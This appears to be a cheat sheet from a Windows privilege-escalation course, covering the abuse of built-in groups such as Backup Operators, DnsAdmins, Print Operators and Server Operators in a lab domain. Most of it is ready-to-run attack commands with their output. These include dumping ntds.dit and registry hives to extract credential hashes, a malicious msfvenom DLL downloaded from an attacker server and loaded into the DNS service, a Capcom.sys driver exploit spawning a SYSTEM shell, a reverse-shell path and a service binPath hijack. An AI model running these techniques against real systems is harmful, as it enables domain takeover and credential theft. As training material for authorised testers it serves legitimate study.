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Backup Operators ​

Importing Libraries ​

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PS C:\> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\> Import-Module .\SeBackupPrivilegeCmdLets.dll

Verifying SeBackupPrivilege is Enabled ​

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PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
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PS C:\htb> Get-SeBackupPrivilege

SeBackupPrivilege is disabled

Enabling SeBackupPrivilege ​

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PS C:\> Set-SeBackupPrivilege
PS C:\> Get-SeBackupPrivilege

SeBackupPrivilege is enabled
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PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Copying a Protected File ​

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PS C:\> dir C:\Confidential\

    Directory: C:\Confidential

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         5/6/2021   1:01 PM             88 2021 Contract.txt


PS C:\htb> cat 'C:\Confidential\2021 Contract.txt'

cat : Access to the path 'C:\Confidential\2021 Contract.txt' is denied.
At line:1 char:1
+ cat 'C:\Confidential\2021 Contract.txt'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Confidential\2021 Contract.txt:String) [Get-Content], Unauthor
   izedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
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PS C:\> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt

Copied 88 bytes


PS C:\htb>  cat .\Contract.txt

Inlanefreight 2021 Contract

==============================

Board of Directors:

<...SNIP...>

Attacking a Domain Controller - Copying NTDS.dit ​

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PS C:\> diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 12:57:52 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

PS C:\htb> dir E:


    Directory: E:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         5/6/2021   1:00 PM                Confidential
d-----        9/15/2018  12:19 AM                PerfLogs
d-r---        3/24/2021   6:20 PM                Program Files
d-----        9/15/2018   2:06 AM                Program Files (x86)
d-----         5/6/2021   1:05 PM                Tools
d-r---         5/6/2021  12:51 PM                Users
d-----        3/24/2021   6:38 PM                Windows

Copying NTDS.dit Locally ​

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PS C:\> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Copied 16777216 bytes

Backing up SAM and SYSTEM Registry Hives ​

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C:\> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.

C:\> reg save HKLM\SAM SAM.SAV
The operation completed successfully.

Extracting Credentials from NTDS.dit ​

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PS C:\> Import-Module .\DSInternals.psd1
PS C:\> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key

DistinguishedName: CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Sid: S-1-5-21-669053619-2741956077-1013132368-500
Guid: f28ab72b-9b16-4b52-9f63-ef4ea96de215
SamAccountName: Administrator
SamAccountType: User
UserPrincipalName:
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount, PasswordNeverExpires
AdminCount: True
Deleted: False
LastLogonDate: 5/6/2021 5:40:30 PM
DisplayName:
GivenName:
Surname:
Description: Built-in account for administering the computer/domain
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
DiscretionaryAclProtected, SelfRelative
Owner: S-1-5-21-669053619-2741956077-1013132368-512
Secrets
  NTHash: cf3a5525ee9414229e66279623ed5c58
  LMHash:
  NTHashHistory:
  LMHashHistory:
  SupplementalCredentials:
    ClearText:
    NTLMStrongHash: 7790d8406b55c380f98b92bb2fdc63a7
    Kerberos:
      Credentials:
        DES_CBC_MD5
          Key: d60dfbbf20548938
      OldCredentials:
      Salt: WIN-NB4NGP3TKNKAdministrator
      Flags: 0
    KerberosNew:
      Credentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 94c300d0e47775b407f2496a5cca1a0a
          Iterations: 4096
        DES_CBC_MD5
          Key: d60dfbbf20548938
          Iterations: 4096
      OldCredentials:
      OlderCredentials:
      ServiceCredentials:
      Salt: WIN-NB4NGP3TKNKAdministrator
      DefaultIterationCount: 4096
      Flags: 0
    WDigest:
Key Credentials:
Credential Roaming
  Created:
  Modified:
  Credentials:

Extracting Hashes Using SecretsDump ​

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$ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xc0a9116f907bd37afaaa845cb87d0550
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 85541c20c346e3198a3ae2c09df7f330
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WINLPE-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7abf052dcef31f6305f1d4c84dfa7484:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
bob:1105:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
hyperv_adm:1106:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
printsvc:1107:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::

<SNIP>

Robocopy ​

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C:\> robocopy /B E:\Windows\NTDS .\ntds ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Thursday, May 6, 2021 1:11:47 PM
   Source : E:\Windows\NTDS\
     Dest : C:\Tools\ntds\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

          New Dir          1    E:\Windows\NTDS\
100%        New File              16.0 m        ntds.dit

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         1         0         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           356962042 Bytes/sec.
   Speed :           20425.531 MegaBytes/min.
   Ended : Thursday, May 6, 2021 1:11:47 PM

another way ​

Backup the SAM, SYSTEM, and SECURITY Hives:

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reg save hklm\sam c:\temp\sam
reg save hklm\system c:\temp\system
reg save hklm\security c:\temp\security

Extract Password Hashes Using Tools:

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sekurlsa::samdump::local c:\temp\sam c:\temp\system
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$ secretsdump.py -ntds ntds.dit -system system.back LOCAL

Event Log Readers ​

Confirming Group Membership ​

cmd-session
C:\> net localgroup "Event Log Readers"

Alias name     Event Log Readers
Comment        Members of this group can read event logs from local machine

Members

-------------------------------------------------------------------------------
logger
The command completed successfully.

Searching Security Logs Using wevtutil ​

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PS C:\> wevtutil qe Security /rd:true /f:text | Select-String "/user"

        Process Command Line:   net use T: \\fs01\backups /user:tim MyStr0ngP@ssword
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C:\> wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"

Searching Security Logs Using Get-WinEvent ​

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PS C:\> Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

CommandLine
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net use T: \\fs01\backups /user:tim MyStr0ngP@ssword

DnsAdmins ​

Leveraging DnsAdmins Access ​

Generating Malicious DLL ​

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$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll
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$ python3 -m http.server 7777

Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -

Downloading File to Target ​

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PS C:\>  wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

Loading DLL as Non-Privileged User ​

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C:\> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED

Loading DLL as Member of DnsAdmins ​

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C:\> Get-ADGroupMember -Identity DnsAdmins

distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
objectGUID        : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName    : netadm
SID               : S-1-5-21-669053619-2741956077-1013132368-1109

Loading Custom DLL ​

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C:\> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Finding User's SID ​

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C:\> wmic useraccount where name="netadm" get sid

SID
S-1-5-21-669053619-2741956077-1013132368-1109

Checking Permissions on DNS Service ​

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C:\> sc.exe sdshow DNS

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Stopping the DNS Service ​

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C:\> sc stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530

Starting the DNS Service ​

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C:\> sc start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 6960
        FLAGS              :

Confirming Group Membership ​

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C:\> net group "Domain Admins" /dom

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator            netadm
The command completed successfully.

Cleaning Up ​

Confirming Registry Key Added ​

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C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
    GlobalQueryBlockList    REG_MULTI_SZ    wpad\0isatap
    EnableGlobalQueryBlockList    REG_DWORD    0x1
    PreviousLocalHostname    REG_SZ    WINLPE-DC01.INLANEFREIGHT.LOCAL
    Forwarders    REG_MULTI_SZ    1.1.1.1\08.8.8.8
    ForwardingTimeout    REG_DWORD    0x3
    IsSlave    REG_DWORD    0x0
    BootMethod    REG_DWORD    0x3
    AdminConfigured    REG_DWORD    0x1
    ServerLevelPluginDll    REG_SZ    adduser.dll

Deleting Registry Key ​

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C:\> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.

Starting the DNS Service Again ​

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C:\htb> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 4984
        FLAGS              :

Checking DNS Service Status ​

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C:\htb> sc query dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Using Mimilib.dll ​

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/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"

DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginCleanup()
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
	FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
	if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
	{
		klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
		fclose(kdns_logfile);
	    system("ENTER COMMAND HERE");
	}
	return ERROR_SUCCESS;
}

Creating a WPAD Record ​

Disabling the Global Query Block List ​

powershell-session
C:\> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

Adding a WPAD Record ​

powershell-session
C:\> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Hyper-V Administrators ​

Target File ​

shell-session
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Taking Ownership of the File ​

cmd-session
C:\> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
cmd-session
C:\htb> sc.exe start MozillaMaintenance

Confirming Privileges ​

cmd-session
C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name           Description                          State
======================== =================================    =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process   Disabled
SeChangeNotifyPrivilege  Bypass traverse checking             Enabled
SeShutdownPrivilege      Shut down the system                 Disabled

Checking Privileges Again ​

cmd-session
C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================  ==========
SeMachineAccountPrivilege     Add workstations to domain           Disabled
SeLoadDriverPrivilege         Load and unload device drivers       Disabled
SeShutdownPrivilege           Shut down the system			       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

Compile with cl.exe ​

cmd-session
C:\Users\mrb3n\Desktop\Print Operators>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp

Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj

Add Reference to Driver ​

Capcom.sys

cmd-session
C:\> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"

The operation completed successfully.

C:\> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

The operation completed successfully.

Verify Driver is not Loaded ​

DriverView.exe

powershell-session
PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Verify Privilege is Enabled ​

cmd-session
C:\> EnableSeLoadDriverPrivilege.exe

whoami:
INLANEFREIGHT0\printsvc

whoami /priv
SeMachineAccountPrivilege        Disabled
SeLoadDriverPrivilege            Enabled
SeShutdownPrivilege              Disabled
SeChangeNotifyPrivilege          Enabled by default
SeIncreaseWorkingSetPrivilege    Disabled
NTSTATUS: 00000000, WinError: 0

Verify Capcom Driver is Listed ​

powershell-session
PS C:\> .\DriverView.exe /stext drivers.txt
PS C:\> cat drivers.txt | Select-String -pattern Capcom

Driver Name           : Capcom.sys
Filename              : C:\Tools\Capcom.sys

Use ExploitCapcom Tool to Escalate Privileges ​

powershell-session
PS C:\> .\ExploitCapcom.exe

[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

Alternate Exploitation - No GUI ​

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// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}

CommandLine

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 TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

Automating the Steps ​

Automating with EopLoadDriver ​

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C:\> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0

Clean-up ​

Removing Registry Key ​

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C:\> reg delete HKCU\System\CurrentControlSet\Capcom

Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes

The operation completed successfully.

Server Operators ​

Querying the AppReadiness Service ​

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C:\> sc qc AppReadiness

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AppReadiness
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\svchost.exe -k AppReadiness -p
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : App Readiness
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Checking Service Permissions with PsService ​

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C:\> c:\Tools\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
        ACCOUNT: LocalSystem
        SECURITY:
        [ALLOW] NT AUTHORITY\SYSTEM
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                Pause/Resume
                Start
                Stop
                User-Defined Control
                Read Permissions
        [ALLOW] BUILTIN\Administrators
                All
        [ALLOW] NT AUTHORITY\INTERACTIVE
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                User-Defined Control
                Read Permissions
        [ALLOW] NT AUTHORITY\SERVICE
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                User-Defined Control
                Read Permissions
        [ALLOW] BUILTIN\Server Operators
                All

Checking Local Admin Group Membership ​

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C:\> net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.

Modifying the Service Binary Path ​

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C:\> sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"

[SC] ChangeServiceConfig SUCCESS

Starting the Service ​

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C:\> sc start AppReadiness

[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

Confirming Local Admin Group Membership ​

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C:\> net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.

Confirming Local Admin Access on Domain Controller ​

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$ crackmapexec smb 10.129.43.9 -u server_adm -p 'password'

SMB         10.129.43.9     445    WINLPE-DC01      [*] Windows 10.0 Build 17763 (name:WINLPE-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.43.9     445    WINLPE-DC01      [+] INLANEFREIGHT.LOCAL\server_adm:password (Pwn3d!)

Retrieving NTLM Password Hashes from the Domain Controller ​

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$ secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator

Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
Administrator:des-cbc-md5:d60dfbbf20548938
[*] Cleaning up...